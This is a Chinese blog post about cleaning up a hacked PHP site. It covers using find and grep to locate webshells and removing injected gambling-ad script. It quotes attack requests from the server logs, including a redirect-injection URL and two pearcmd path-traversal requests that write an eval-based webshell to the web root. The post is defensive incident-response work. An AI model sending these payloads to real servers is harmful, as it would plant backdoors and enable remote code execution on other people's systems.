排查php网站中的webshell
起因
因为客户收到云服务厂商通知说某个网站被挂了webshell,所以需要排查一下。
方法
用如下命令:
find . -mtime -60 -type f -name *.php -exec grep -l eval {} \;
找一下最近更新过的PHP文件里包含eval等语句的,这种一般都很可疑。除了eval,还有base64_decode之类的,也是用来放一些可疑代码用,都可以搜一下。
搜出来四个文件,其中两个代码一样,另一个不太一样,还有一个直接就是二进制文件,一看就都不是好东西。
因为代码有一些混淆和加密,人肉看太累,于是把关键的代码片断放到AI里去分析,结果AI一眼就看出来都是webshell,还就已知的部分分析出其相应功能。
现在的问题就是不知道这些代码是怎么传上来的,还得把漏洞补上才行。
接下来就是发现人家黑上来是为了挂博彩广告,然后就是修代码。
大部分是在index.html里插入脚本,特点是这句:
<script type="text/javascript"> var xt = String.fromCharCode(0,60,xxxx,62); document.write(xt);
</script>
有些php文件里也被加了这些广告代码。也用find+grep搜一下看。
结论就是不要网上随便下载代码就拿来部署,要代码审计一下。
可能的攻击方式
从请求日志里看到一些可疑的东西,比如:
GET /?a%5B%5D=%3Ca+href%3Dhttps://j-----2.com/20250131-15/research/je-tall-sf-marketing-(327).html%3E%E6%8C%89%E6%91%A9%E5%B8%AB%E8%AD%89%E7%85%A7%E7%8F%AD%3C/a%3E%3Cmeta+http-equiv%3Drefresh+content%3D0;url%3Dhttps://filedn.eu/l------b/marketing-361/research/je-tall-sf-marketing-(134).html+/%3E
AI说这可能涉及 恶意URL注入 或 XSS(跨站脚本攻击) 尝试。
另一些就更严重了:
GET /public/index.php?+config-create+/<?=@eval($_REQUEST['cmd'])?>+/var/www/html/shell.php&lang=../../../../../../../../usr/local/lib/php/pearcmd
GET /public/index.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd%26%2Bconfig-create%2B%2F%3C%3F%3D%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%3F%3E%2B%2Fvar%2Fwww%2Fhtml%2Fshell.php
AI说这是一个典型的 远程代码执行(RCE)攻击尝试,目标是利用 PHP应用程序的漏洞 来上传一个WebShell(恶意PHP脚本)。
赶紧把pearcmd给禁用了。
推送到[go4pro.org]